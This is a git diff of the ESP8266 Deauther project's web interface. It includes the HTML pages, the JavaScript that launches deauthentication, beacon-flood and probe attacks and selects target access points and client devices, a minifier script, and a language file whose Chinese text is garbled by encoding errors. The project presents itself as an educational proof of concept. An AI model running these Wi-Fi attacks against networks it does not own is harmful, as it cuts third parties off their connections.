+ +## PROBESPERSSID +`uint8_t probesPerSSID = 1` +How many probe request frames are sent for each SSID. diff --git a/enp8266/esp8266_deauther-master/utils/old_web_converter/convert_all.sh b/enp8266/esp8266_deauther-master/utils/old_web_converter/convert_all.sh new file mode 100755 index 0000000..2588b3d --- /dev/null +++ b/enp8266/esp8266_deauther-master/utils/old_web_converter/convert_all.sh @@ -0,0 +1,57 @@ +#!/bin/bash + +# +# This script walks through the html folder and minify all JS, HTML and CSS files. It also generates +# the corresponding constants that is added to the data.h file on esp8266_deauther folder. +# +# @Author Erick B. Tedeschi < erickbt86 [at] gmail [dot] com > +# + +outputfile="$(pwd)/data_h_temp" + +rm $outputfile + +function minify_html_css { + file=$1 + curl -X POST -s --data-urlencode "input@$file" http://html-minifier.com/raw > /tmp/converter.temp +} + +function minify_js { + file=$1 + curl -X POST -s --data-urlencode "input@$file" https://javascript-minifier.com/raw > /tmp/converter.temp +} + +function ascii2hexCstyle { + file_name=$(constFileName $1) + result=$(cat /tmp/converter.temp | hexdump -ve '1/1 "0x%.2x,"') + result=$(echo $result | sed 's/,$//') + echo "const char data_${file_name}[] PROGMEM = {$result};" +} + +function constFileName { + extension=$(echo $1 | egrep -io "(css|js|html)$" | tr "[:lower:]" "[:upper:]") + file=$(echo $1 | sed 's/\.css//' | sed 's/\.html//' | sed 's/\.js//' | sed 's/\.\///' | tr '/' '_' | tr '.' '_') + echo $file$extension +} + + +cd html +file_list=$(find . -type f) + +for file in $file_list; do + echo "Processing: $file" + if [[ "$file" == *.js ]]; then + echo "-> JS minifier" + minify_js $file + ascii2hexCstyle $file >> $outputfile + elif [[ "$file" == *.html ]] || [[ "$file" == *.css ]]; then + echo "-> HTML and CSS minifier" + minify_html_css $file + ascii2hexCstyle $file >> $outputfile + else + echo "-> without minifier" + cat $file > /tmp/converter.temp + ascii2hexCstyle $file >> $outputfile + fi + sleep 1 +done diff --git a/enp8266/esp8266_deauther-master/utils/old_web_converter/converter.html b/enp8266/esp8266_deauther-master/utils/old_web_converter/converter.html new file mode 100755 index 0000000..ecb8117 --- /dev/null +++ b/enp8266/esp8266_deauther-master/utils/old_web_converter/converter.html @@ -0,0 +1,71 @@ + + + + + Byte Converter + + + + + + + + + + + +
+ +
+
+

Text to Byte Array Converter

+

+ Please use HTMLCompressor (or something similar) first to get your HTML, CSS and JS minified.
+ Every saved byte can improve the stability of the ESP8266's webserver! +

+
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Length: 0 Bytes

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+ + + + diff --git a/enp8266/esp8266_deauther-master/utils/old_web_converter/jquery-3.2.1.min.js b/enp8266/esp8266_deauther-master/utils/old_web_converter/jquery-3.2.1.min.js new file mode 100755 index 0000000..644d35e --- /dev/null +++ b/enp8266/esp8266_deauther-master/utils/old_web_converter/jquery-3.2.1.min.js @@ -0,0 +1,4 @@ +/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var 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a b c') + '

a b c' + """ # May look silly but Emmet does this and is wrong. + log.debug("Condensing HTML Script JS tags.") + return html.replace(' + + + +

+
+
+
+
+

Attacks

+ +

+ INFO:
+ + - You might lose connection when starting an attack!
+ - You need to select a target for the deauth attack.
+ - You need a saved SSID for the beacon and probe attack.
+ - Click reload to refresh the packet rate.
+ + In case of an unexpected error, please reload the site and look at the serial monitor for further debugging.
+

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AttacksTargetsPkts/sSTART / STOP
Deauth00/0
Beacon00/0
Probe00/0
All Pkts/s:0
+ +

Deauth

+

+ Closes the connection of WiFi devices by sending deauthentication frames to access points and client devices you selected.
+ This is only possible because a lot of devices don't use the 802.11w-2009 standard that offers a protection against this attack.
+ Please only select one target! When you select multiple targets that run on different channels and start the attack, + it will quickly switch between those channels and you have no chance to reconnect to the access point that hosts this web interface. +

+ +

Beacon

+

+ Beacon packets are used to advertise access points. By continuously sending beacon packets out, it will look like you created new WiFi networks.
+ You can specify the network names under SSIDs.
+

+ +

Probe

+

+ Probe requests are sent by client devices to ask if a known network is nearby.
+ Use this attack to confuse WiFi trackers by asking for networks that you specified in the SSID list.
+ It's unlikely you will see any impact by this attack with your home network.
+

+ + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/attack.json b/enp8266/esp8266_deauther-master/web_interface/attack.json new file mode 100755 index 0000000..64cf893 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/attack.json @@ -0,0 +1 @@ +[[false,0,0,0],[false,0,0,0],[false,0,0,0],0] \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/index.html b/enp8266/esp8266_deauther-master/web_interface/index.html new file mode 100755 index 0000000..619034c --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/index.html @@ -0,0 +1,52 @@ + + + + + + + + + ESP8266 Deauther + + + + +
+
+
+
+

WARNING

+

+ This project is a proof of concept for testing and educational purposes.
+ Neither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!
+
+ Use it only against your own networks and devices!
+
+ It uses valid Wi-Fi frames described in the IEEE 802.11 standard and does not block or disrupt any frequencies.
+ Please check the legal regulations in your country before using it.
+
+ Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!
+ If you do, it only proves that you didn't understand anything of what this project stands for.
+ Publishing content about this without without a proper explanation shows that you only do it for the clicks, + fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard.
+
+ For more information visit: +

+

+ github.com/spacehuhn/esp8266_deauther
+
+
+ I have read and understood the notice above +

+ +
+
+
+ + \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/info.html b/enp8266/esp8266_deauther-master/web_interface/info.html new file mode 100755 index 0000000..d036c51 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/info.html @@ -0,0 +1,88 @@ + + + + + + + + + ESP8266 Deauther + + + + + +
+
+
+
+

Info

+ +

ESP8266 Deauther

+

+ Copyright (c) 2018 Stefan Kremser
+
+ This project is licensed under the MIT License. See the license file for details.
+ The source code is available on GitHub.
+
+ Use it only for testing or educational purposes against your own networks and devices!
+
+ Please don't refer to this project as "jammer", that totally undermines the real purpose of this project! +

+ +

Credits

+

+ A huge thanks to:
+

+ for helping out with various things regarding this project and keeping it alive!
+
+ I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online!
+
+ Shoutout to everyone working on the libraries used for this project:
+ +
+ Also thanks to everyone that supports this project by donating], beeing my patron or buying one of the official Deauther boards from DSTIKE.
+

+ +

Contact

+

+ Web: spacehuhn.com
+ GitHub: github.com/spacehuhn
+ Twitter: @spacehuhn
+ E-mail: mail@spacehuhn.com
+
+ If you would like to support me with my projects, please consider becoming a patron on patreon.com/spacehuhn.
+
+ Or buy the official hardware for this project from DSTIKE on tindie.com/stores/lspoplove. +

+ + +
+
+
+ + diff --git a/enp8266/esp8266_deauther-master/web_interface/js/attack.js b/enp8266/esp8266_deauther-master/web_interface/js/attack.js new file mode 100755 index 0000000..6edc414 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/attack.js @@ -0,0 +1,41 @@ +var attackJSON = [[false,0,0],[false,0,0],[false,0,0]]; + +function draw(){ + getE("deauth").innerHTML = attackJSON[0][0] ? lang("stop") : lang("start"); + getE("beacon").innerHTML = attackJSON[1][0] ? lang("stop") : lang("start"); + getE("probe").innerHTML = attackJSON[2][0] ? lang("stop") : lang("start"); + + getE("deauthTargets").innerHTML = esc(attackJSON[0][1]+""); + getE("beaconTargets").innerHTML = esc(attackJSON[1][1]+""); + getE("probeTargets").innerHTML = esc(attackJSON[2][1]+""); + + getE("deauthPkts").innerHTML = esc(attackJSON[0][2] + "/" + attackJSON[0][3]); + getE("beaconPkts").innerHTML = esc(attackJSON[1][2] + "/" + attackJSON[1][3]); + getE("probePkts").innerHTML = esc(attackJSON[2][2] + "/" + attackJSON[2][3]); + + getE("allpkts").innerHTML = esc(attackJSON[3]+""); +} + +function start(mode){ + switch(mode){ + case 0: + attackJSON[0][0] = !attackJSON[0][0]; + break; + case 1: + attackJSON[1][0] = !attackJSON[1][0]; + break; + case 2: + attackJSON[2][0] = !attackJSON[2][0]; + break; + } + getFile("run?cmd=attack"+(attackJSON[0][0] ? " -d":"")+(attackJSON[1][0] ? " -b":"")+(attackJSON[2][0] ? " -p":""),function(){ + draw(); + }); +} + +function load(){ + getFile("attack.json",function(response){ + attackJSON = JSON.parse(response); + draw(); + }); +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/js/scan.js b/enp8266/esp8266_deauther-master/web_interface/js/scan.js new file mode 100755 index 0000000..eb4b8f1 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/scan.js @@ -0,0 +1,262 @@ +var nameJson = []; +var scanJson = {aps:[],stations:[]}; + +function drawScan(){ + var html; + var selected; + var width; + var color; + var macVendor; + + // Access Points + getE("apNum").innerHTML = scanJson.aps.length; + html = "" + + "" + + "SSID" + + "Name" + + "Ch" + + "RSSI" + + "Enc" + + "" + + "MAC" + + "Vendor" + + "" + + "" + + ""; + + for(var i=0;i" : "") + + ""+i+"" // ID + + ""+esc(scanJson.aps[i][0])+"" // SSID + + ""+(scanJson.aps[i][1].length > 0 ? esc(scanJson.aps[i][1]) : "")+"" // Name + + ""+esc(scanJson.aps[i][2])+"" // Ch + // RSSI + + "
" + scanJson.aps[i][3] + "
" + + ""+esc(scanJson.aps[i][4])+"" // ENC + + ""+(scanJson.aps[i][4] == "-" ? "":"🔒")+"" // Lock Emoji + + ""+esc(scanJson.aps[i][5])+"" // MAC + + ""+esc(scanJson.aps[i][6])+"" // Vendor + // Select + + "" + + "" // Remove + + ""; + } + + getE("apTable").innerHTML = html; + + // Stations + getE("stNum").innerHTML = scanJson.stations.length; + html = "" + + "" + + "Vendor" + + "MAC" + + "Ch" + + "Name" + + "Pkts" + + "AP" + + "Last seen" + + "" + + "" + + ""; + + for(var i=0;i= 0) + ap = esc(scanJson.aps[scanJson.stations[i][5]][0]); + + html += (selected ? "" : "") + + ""+i+"" // ID + + ""+esc(scanJson.stations[i][3])+"" // Vendor + + ""+esc(scanJson.stations[i][0])+"" // MAC + + ""+esc(scanJson.stations[i][1])+"" // Ch + + ""+(scanJson.stations[i][2].length > 0 ? esc(scanJson.stations[i][2]) : "")+"" // Name + + ""+esc(scanJson.stations[i][4])+"" // Pkts + + ""+ap+"" // AP + + ""+esc(scanJson.stations[i][6])+"" // Last seen + // Select + + "" + + "" // Remove + + ""; + } + + getE("stTable").innerHTML = html; +} + +function drawNames(){ + var html; + var selected; + + // Names + getE("nNum").innerHTML = nameJson.length; + html = "" + + "" + + "MAC" + + "Vendor" + + "Name" + + "AP-BSSID" + + "Ch" + + "" + + "" + + "" + + ""; + + for(var i=0;i" : "") + + ""+i+"" // ID + + ""+esc(nameJson[i][0])+"" // MAC + + ""+esc(nameJson[i][1])+"" // Vendor + + ""+esc(nameJson[i][2].substring(0,16))+"" // Name + + ""+esc(nameJson[i][3])+"" // AP-BSSID + + ""+esc(nameJson[i][4])+"" // Ch + + "" // Save + // Select + + "" + + "" // Remove + + ""; + } + + getE("nTable").innerHTML = html; +} + +function scan(type){ + var cmdStr = "scan " + + (type == 0 ? "aps " : "stations -t "+getE("scanTime").value+"s") + + " -ch "+getE("ch").options[getE("ch").selectedIndex].value; + getFile("run?cmd="+cmdStr); +} + +function load(){ + // APs and Stations + getFile("run?cmd=save scan", function(){ + getFile("scan.json",function(res){ + scanJson = JSON.parse(res); + drawScan(); + }); + }); + // Names + getFile("run?cmd=save names", function(){ + getFile("names.json",function(res){ + nameJson = JSON.parse(res); + drawNames(); + }); + }); +} + +function selectRow(type,id,selected){ + switch(type){ + case 0: + scanJson.aps[id][7] = selected; + drawScan(); + getFile("run?cmd="+(selected ? "":"de")+"select ap "+id); + break; + case 1: + scanJson.stations[id][7] = selected; + drawScan(); + getFile("run?cmd="+(selected ? "":"de")+"select station "+id); + break; + case 2: + save(id); + nameJson[id][5] = selected; + drawNames(); + getFile("run?cmd="+(selected ? "":"de")+"select name "+id); + } +} + +function remove(type,id){ + switch(type){ + case 0: + scanJson.aps.splice(id, 1); + drawScan(); + getFile("run?cmd=remove ap "+id); + break; + case 1: + scanJson.stations.splice(id, 1); + drawScan(); + getFile("run?cmd=remove station "+id); + break; + case 2: + nameJson.splice(id, 1); + drawNames(); + getFile("run?cmd=remove name "+id); + } +} + +function save(id){ + var mac = getE("name_"+id+"_mac").innerHTML.replace("
",""); + var name = getE("name_"+id+"_name").innerHTML.replace("
",""); + var apbssid = getE("name_"+id+"_apbssid").innerHTML.replace("
",""); + var ch = getE("name_"+id+"_ch").innerHTML.replace("
",""); + var changed = mac != nameJson[id][0] || name != nameJson[id][2] || apbssid != nameJson[id][3] || ch != nameJson[id][4]; + if(changed){ + nameJson[id][0] = mac; + nameJson[id][2] = name; + nameJson[id][3] = apbssid; + nameJson[id][4] = ch; + + if(nameJson[id][0].length != 17){ + showMessage("ERROR: MAC invalid"); + return; + } + + getFile("run?cmd=replace name "+id+" -n \""+nameJson[id][2]+"\" -m \""+nameJson[id][0]+"\" -ch "+nameJson[id][4]+" -b \""+nameJson[id][3]+"\" "+(nameJson[id][5] ? "-s" : "")); + + drawNames(); + } +} + +function add(type,id){ + if(nameJson.length >= 25){ + showMessage("Device Name List is full!"); + return; + } + + switch(type){ + case 0: + getFile("run?cmd=add name \""+scanJson.aps[id][0]+"\" -ap "+id); + scanJson.aps[id][1] = scanJson.aps[id][0]; // name = SSID + nameJson.push([scanJson.aps[id][5],scanJson.aps[id][6],scanJson.aps[id][0],"",scanJson.aps[id][2],false]); + drawScan(); + break; + case 1: + getFile("run?cmd=add name \""+scanJson.stations[id][0]+"\" station "+id); + scanJson.stations[id][2] = "device_"+nameJson.length; // name = device_ + nameJson.push([scanJson.stations[id][0],scanJson.stations[id][3],"device_"+nameJson.length,scanJson.aps[scanJson.stations[id][5]][5],scanJson.stations[id][1],false]); + drawScan(); + break; + case 2: + getFile("run?cmd=add name device_"+nameJson.length+" -m 00:00:00:00:00:00 -ch 1"); + nameJson.push(["00:00:00:00:00:00","","device_"+nameJson.length,"",1,false]); + drawNames(); + } + + drawNames(); +} + +function selectAll(type,select){ + switch(type){ + case 0: + getFile("run?cmd="+(select ? "":"de")+"select aps"); + for(var i=0;i" + + "" + + "" + + "
"; + + if(typeof settingsJson[key] == "boolean"){ + html += ""; + }else if(typeof settingsJson[key] == "number"){ + html += ""; + }else if(typeof settingsJson[key] == "string"){ + html += ""; + } + + html += "
" + + "" + + "
" + + "
" + + "

"+lang("setting_"+key)+"

" + + "
" + + "
" + + "
"; + } + } + getE("settingsList").innerHTML = html; +} + +function save(key, value){ + if(key){ + settingsJson[key] = value; + getFile("run?cmd=set "+key+" \""+value+"\""); + }else{ + getFile("run?cmd=save settings",function(res){ + load(); + }); + } +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/web_interface/js/site.js b/enp8266/esp8266_deauther-master/web_interface/js/site.js new file mode 100755 index 0000000..54665e7 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/site.js @@ -0,0 +1,118 @@ +var langJson = {}; + +function getE(name){ + return document.getElementById(name); +} + +function esc(str) { + if(str){ + return str.toString() + .replace(/&/g, '&') + .replace(//g, '>') + .replace(/\"/g, '"') + .replace(/\'/g, ''') + .replace(/\//g, '/'); + } + return ""; +} + +function convertLineBreaks(str){ + if(str){ + str = str.toString(); + str = str.replace(/(?:\r\n|\r|\n)/g,'
'); + return str; + } + return ""; +} + +function showMessage(msg, closeAfter){ + var elmt = getE("error"); + elmt.innerHTML = esc(msg)+"x"; + + elmt.classList.remove('hide'); + elmt.classList.add('show'); + + if(closeAfter !== undefined){ + setTimeout(closeMessage(),closeAfter); + } +} + +function closeMessage(){ + var elmt = getE("error"); + elmt.innerHTML = ""; + elmt.classList.remove('show'); + elmt.classList.add('hide'); +} + +function getFile(adr, callback, timeout, method, onTimeout, onError){ + /* fallback stuff */ + if(adr === undefined) return; + if(callback === undefined) callback = function(){}; + if(timeout === undefined) timeout = 8000; + if(method === undefined) method = "GET"; + if(onTimeout === undefined) { + onTimeout = function(){ + showMessage("ERROR: timeout loading file "+adr); + }; + } + if(onError === undefined){ + onError = function(){ + showMessage("ERROR: loading file: "+adr); + }; + } + + /* create request */ + var request = new XMLHttpRequest(); + + /* set parameter for request */ + request.open(method, encodeURI(adr), true); + request.timeout = timeout; + request.ontimeout = onTimeout; + request.onerror = onError; + request.overrideMimeType("application/json"); + + request.onreadystatechange = function() { + if(this.readyState == 4){ + if(this.status == 200){ + callback(this.responseText); + } + } + }; + + /* send request */ + request.send(); + + console.log(adr); +} + +function lang(key){ + return convertLineBreaks(esc(langJson[key])); +} + +function parseLang(fileStr){ + langJson = JSON.parse(fileStr); + if(langJson["lang"] != "en"){// no need to update the HTML + var elements = document.querySelectorAll("[data-translate]"); + for (i = 0; i < elements.length; i++) { + var element = elements[i]; + element.innerHTML = lang(element.getAttribute("data-translate")); + } + } + document.querySelector('html').setAttribute("lang", langJson["lang"] ); + if(typeof load !== 'undefined') load(); +} + +function loadLang(){ + var language = "default"; //navigator.language.slice(0, 2); + getFile("lang/" + language + ".lang", + parseLang, + 2000, + "GET", + function(){ + getFile("lang/en.lang", parseLang); + }, function(){ + getFile("lang/en.lang", parseLang); + } + ); +} diff --git a/enp8266/esp8266_deauther-master/web_interface/js/ssids.js b/enp8266/esp8266_deauther-master/web_interface/js/ssids.js new file mode 100755 index 0000000..dd2ac32 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/js/ssids.js @@ -0,0 +1,105 @@ +var ssidJson = {"random":false,"ssids":[]}; + +function load(){ + getFile("run?cmd=save ssids", function(){ + getFile("ssids.json",function(res){ + ssidJson = JSON.parse(res); + draw(); + }); + }); +} + +function draw(){ + var html; + + html = "" + + "" + + "" + + "" + + "" + + "" + + ""; + + for(var i=0;i"+i+"" // ID + + ""+esc(ssidJson.ssids[i][0].substring(0,ssidJson.ssids[i][2]))+"" // SSID + + ""+(ssidJson.ssids[i][1] ? "🔒" : "-")+"" // Enc + + "" // Save + + "" // Remove + + ""; + } + + getE("randomBtn").innerHTML = ssidJson.random ? lang("disable_random") : lang("enable_random"); + + getE("ssidTable").innerHTML = html; +} + +function remove(id){ + ssidJson.ssids.splice(id, 1); + getFile("run?cmd=remove ssid "+id); + draw(); +} + +function add(){ + var ssidStr = getE("ssid").value; + var wpa2 = getE("enc").checked; + var clones = getE("ssidNum").value; + var force = getE("overwrite").checked; + + if(ssidStr.length > 0){ + var cmdStr = "add ssid \""+ssidStr+"\""+(force ? " -f":" ")+" -cl "+clones; + if(wpa2) cmdStr += " -wpa2"; + + getFile("run?cmd="+cmdStr); + + for(var i=0;i= 60) ssidJson.ssids.splice(0,1); + ssidJson.ssids.push([ssidStr,wpa2]); + } + + draw(); + } +} + +function enableRandom(){ + if(ssidJson.random){ + getFile("run?cmd=disable random",function(){ + load(); + }); + }else{ + getFile("run?cmd=enable random "+getE("interval").value,function(){ + load(); + }); + } + +} + +function disableRandom(){ + +} + +function addSelected(){ + getFile("run?cmd=add ssid -s"+(getE("overwrite").checked ? " -f":"")); +} + +function changeEnc(id){ + ssidJson.ssids[id][1] = !ssidJson.ssids[id][1]; + draw(); + save(id); +} + +function removeAll(){ + ssidJson.ssids = []; + getFile("run?cmd=remove ssids"); + draw(); +} + +function save(id){ + var name = getE("ssid_"+id).innerHTML.replace("
","").substring(0,32); + var wpa2 = ssidJson.ssids[id][1]; + ssidJson.ssids[id] = [name,wpa2]; + + getFile("run?cmd=replace ssid "+id+" -n \""+name+"\" "+(wpa2 ? "-wpa2" : "")); +} + diff --git a/enp8266/esp8266_deauther-master/web_interface/lang/cn.lang b/enp8266/esp8266_deauther-master/web_interface/lang/cn.lang new file mode 100755 index 0000000..4bca2b4 --- /dev/null +++ b/enp8266/esp8266_deauther-master/web_interface/lang/cn.lang @@ -0,0 +1,74 @@ +{ + "lang": "cn", + "warning": "注æ„ï¼", + "disclaimer": "该项目仅用于个人学习和研究使用\nESP8266åŠå…¶SDK都ä¸æ˜¯ä¸ºæ­¤ç›®çš„而设计或构建的。å¯èƒ½ä¼šæœ‰ Bug 出现ï¼\n请仅在自己的网络和设备上使用ï¼\n本项目使用IEEE 802.11标准中æ述的有效Wi-Fi帧，ä¸ä¼šé˜»æ­¢æˆ–ç ´å任何频带。\n使用å‰è¯·æ£€æŸ¥æ‚¨çš„国家的法律法规。\n\n请ä¸è¦å°†è¿™ä¸ªé¡¹ç›®ç§°ä¸ºâ€œå¹²æ‰°å™¨â€ï¼Œè¿™å®Œå…¨ç ´å了这个项目的真正目的ï¼\n如果你这样åšï¼Œå®ƒåªèƒ½è¯æ˜Žä½ ä¸äº†è§£è¿™ä¸ªé¡¹ç›®æ„味ç€ä»€ä¹ˆã€‚\n请勿用于商业用途，或为了自身利益å‘布该项目的消æ¯ï¼Œè¿™åªèƒ½è¯´æ˜Žä½ ä¸å°Šé‡çŸ¥è¯†äº§æƒï¼Œä»¥åŠèƒŒåŽçš„社区和为了更好的WiFi标准的斗争。\n\n详情请访问：", + "disclaimer-button": "我已阅读并明白上述注æ„事项。", + "reload": "刷新", + "scan": "扫æ", + "ssids": "SSIDs", + "attacks": "攻击", + "settings": "设置", + "info": "关于", + "info_span": "注æ„： ", + "all": "全部", + "channel": "ä¿¡é“", + "devices": "ä¿å­˜çš„设备", + "select_all": "全选", + "deselect_all": "å…¨ä¸é€‰", + "remove_all": "移除全部", + "station_scan_time": "Station扫æ时间", + "new": "新建", + "save": "ä¿å­˜", + "add": "添加", + "add_selected": "克隆所选接入点", + "overwrite": "覆盖", + "time_interval": "时间间隔", + "number": "æ•°é‡", + "targets": "目标", + "scan_info": "- 点击扫æ并等待，直到主æ¿ä¸Šçš„è“色LED指示ç¯ç†„ç­ï¼ˆæˆ–å˜ä¸ºç»¿è‰²ï¼‰ï¼Œç„¶åŽç‚¹å‡»åˆ·æ–°ã€‚\n- 在Station扫æ期间，Webç•Œé¢å°†ä¸å¯ç”¨ï¼Œæ‚¨å¯èƒ½éœ€è¦é‡æ–°è¿žæŽ¥ï¼\n- 请åªé€‰æ‹©ä¸€ä¸ªç›®æ ‡ï¼\n", + "ssids_info": "- æ­¤SSID列表用于信标(beacon)和探测(probe)攻击。\n- æ¯ä¸ªSSID最多å¯ä»¥æœ‰32个字符。\n- 修改SSIDåŽä¸è¦å¿˜è®°ç‚¹å‡»ä¿å­˜ã€‚\n- 您需è¦åœ¨å…‹éš†SSIDåŽç‚¹å‡»åˆ·æ–°ã€‚\n", + "attack_info": "- 您在开始攻击时å¯èƒ½ä¼šå¤±åŽ»è¿žæŽ¥ï¼\n- 你需è¦ä¸ºå–消验è¯æ´ªæ°´æ”»å‡»(deauth)攻击选择一个目标。\n- 您需è¦ä¿å­˜ä¸€ä¸ªSSIDæ¥è¿›è¡Œä¿¡æ ‡å’ŒæŽ¢æµ‹æ”»å‡»ã€‚\n- 点击刷新以刷新数æ®åŒ…速率。\n", + "settings_info": "- æŸäº›è®¾ç½®éœ€è¦é‡å¯åŽæ‰èƒ½ç”Ÿæ•ˆã€‚\n- 修改设置åŽè¯·åŠ¡å¿…点击ä¿å­˜ä»¥ç”Ÿæ•ˆã€‚\n", + "info_disclaimer": "如果å‘生了ä¸å¯é¢„计的错误，请é‡è½½ç½‘页并使用串å£ç›‘视器以进一步调试。", + "start_stop": "开始 / åœæ­¢", + "start": "开始", + "stop": "åœæ­¢", + "wifi_off": "WiFi关闭", + "reboot": "é‡å¯", + "reset": "é‡ç½®", + "enable_random": "å¼€å¯éšæœºæ¨¡å¼", + "disable_random": "关闭éšæœºæ¨¡å¼", + "random_desc": "å¯ç”¨éšæœºæ¨¡å¼ä»¥åœ¨ç»™å®šæ—¶é—´é—´éš”内生æˆéšæœºçš„SSID列表", + "deauth_desc": "通过å‘您选择的接入点和客户端设备å‘é€è§£é™¤è®¤è¯å¸§æ¥å…³é—­WiFi设备的连接。\n因为很多设备ä¸ä½¿ç”¨802.11w-2009标准æ¥æŠµå¾¡è¿™ç§æ”»å‡»ã€‚\n- 请åªé€‰æ‹©ä¸€ä¸ªç›®æ ‡ï¼å½“您开始攻击的ä¸åŒä¿¡é“上的多个目标时，它将在这些信é“之间快速切æ¢ï¼Œå±Šæ—¶æ‚¨å°†æ— æ³•é‡æ–°è¿žæŽ¥åˆ°æ­¤Webç•Œé¢ã€‚\n", + "beacon_desc": "信标帧(Beacon)æ•°æ®åŒ…用于宣告接入点。通过ä¸æ–­å‘é€ä¿¡æ ‡å¸§æ•°æ®åŒ…，看起æ¥å°±åƒæ‚¨åˆ›å»ºäº†æ–°çš„WiFi网络。\n您å¯ä»¥é€šè¿‡SSID指定网络å称。", + "probe_desc": "探测请求帧由客户端设备å‘é€ï¼Œä»¥è¯¢é—®ä¸€ä¸ªå·²çŸ¥ç½‘络是å¦åœ¨é™„近。\n通过请求您在SSID列表中指定的网络，以此æ¥æ··æ·†WiFi跟踪器。\n您å¯èƒ½ä¸ä¼šåœ¨å®¶åº­ç½‘络中看到此次攻击的任何影å“。", + "setting_version": "版本å·ï¼Œæ¯”如说 v2.0.1\n这个选项åªèƒ½åœ¨æºä»£ç ä¸­æ›´æ”¹", + "setting_ssid" : "Wi-Fi 热点 SSID (如果已å¯ç”¨)。\nSSID长度必须在8到31个字符之间。", + "setting_password": "Wi-Fi 密ç (如果已å¯ç”¨)。\n密ç é•¿åº¦å¿…须在8到31个字符之间。", + "setting_channel": "å¯åŠ¨æ—¶é»˜è®¤ä½¿ç”¨çš„ä¿¡é“。", + "setting_hidden": "éšè—接入点的SSID。", + "setting_captivePortal": "å¯ç”¨captive portal（无线认è¯ç³»ç»Ÿï¼‰ã€‚", + "setting_autosave": "自动ä¿å­˜SSIDsã€è®¾å¤‡å和设置。", + "setting_autosavetime": "自动ä¿å­˜çš„时间间隔(ms)。", + "setting_display": "å¯ç”¨OLEDç•Œé¢ã€‚", + "setting_displayTimeout": "OLED超时时间(s)。\n若需è¦å…³é—­è¶…时，请设置æˆ0。", + "setting_serial": "å¯ç”¨ä¸²å£æŽ§åˆ¶ç•Œé¢.\n推èä¸è¦å…³é—­ã€‚", + "setting_serialEcho": "å¼€å¯ä¸²å£è¾“入回显", + "setting_web": "å¯ç”¨Webç•Œé¢ã€‚", + "settings_webSpiffs": "对所有文件å¯ç”¨ SPIFFS", + "setting_led": "å¯ç”¨ (RGB) LEDç¯ã€‚", + "setting_maxch": "扫æ的最大信é“。\nUS = 11, EU = 13, Japan = 14.", + "setting_macAP": "接入点模å¼ä¸‹çš„MAC地å€ã€‚\nåªæœ‰åœ¨æŽ¥å…¥ç‚¹æ¨¡å¼å¼€å¯æ—¶æ‰ä¼šæ”¹å˜MAC地å€ã€‚", + "setting_macSt": "客户端模å¼ä¸‹çš„MAC地å€ã€‚\nåªæœ‰åœ¨å®¢æˆ·ç«¯æ¨¡å¼å¼€å¯æ—¶æ‰ä¼šæ”¹å˜MAC地å€ã€‚", + "setting_chtime": "扫æ第一个信é“到第二个信é“的时间间隔(ms)(åªæœ‰åœ¨ä¿¡é“è·³å˜å¼€å¯æ—¶æœ‰æ•ˆ)。", + "setting_minDeauths": "扫æ最å°è§£é™¤è®¤è¯æ”»å‡»å¸§çš„æ•°é‡ï¼Œæ”¹å˜å–消验è¯æ´ªæ°´æ”»å‡»æ¨¡å¼ä¸‹çš„LED。", + "setting_attacktimeout": "指定时间(s)åŽè‡ªåŠ¨åœæ­¢æ”»å‡»ã€‚\n设定为0以关闭。", + "setting_forcepackets": "å‘é€å¤šå°‘æ•°æ®åŒ…æ¥ç”¨äºŽæ”»å‡»ã€‚\n如果è¦åœ¨ç¹å¿™åŒºåŸŸè¾¾åˆ°æ›´å¥½çš„æ•°æ®åŒ…速率，则将此值设置得更高。\nå°å¿ƒï¼Œè¿™ä¸ªè®¾ç½®å¯èƒ½ä½¿è®¾å¤‡æ›´æ…¢æˆ–者更ä¸ç¨³å®šã€‚\n最大值为255!", + "setting_deauthspertarget": "å‘é€ç»™æ¯ä¸ªç›®æ ‡çš„解除关è”帧与解除认è¯å¸§ã€‚", + "setting_deauthReason": "解除认è¯å¸§çš„原因代ç ã€‚告知目标设备其为什么连接会被关闭。", + "setting_beaconchannel": "如果å¯ç”¨ï¼Œåœ¨è¿è¡Œä¿¡æ ‡å¸§(Beacon)攻击时，会在ä¸åŒä¿¡é“上广播。", + "setting_beaconInterval": "å¯ç”¨æ—¶ï¼Œæ¯éš”1s会å‘é€ä¸€æ¬¡ä¿¡æ ‡å¸§(Beacon)。关闭时，时间间隔会å˜æˆ100ms。\n一个长的时间间隔æ„味ç€æ›´ç¨³å®šå’Œæ›´é«˜æ•ˆçš„æ•°æ®åŒ…，但在扫æ客户端和接入点时会花费您更多时间。", + "setting_randomTX": "å¯ç”¨éšæœºä¼ è¾“功率æ¥å‘é€ä¿¡æ ‡å¸§å’ŒæŽ¢æµ‹è¯·æ±‚帧。", + "setting_probesPerSSID": "探测攻击模å¼ä¸‹å‘é€ç»™æ¯ä¸ªSSID的探测请求帧。", + "setting_lang": "Webç•Œé¢çš„默认语言。\n请确认语言文件是å¦å­˜åœ¨ï¼" +} 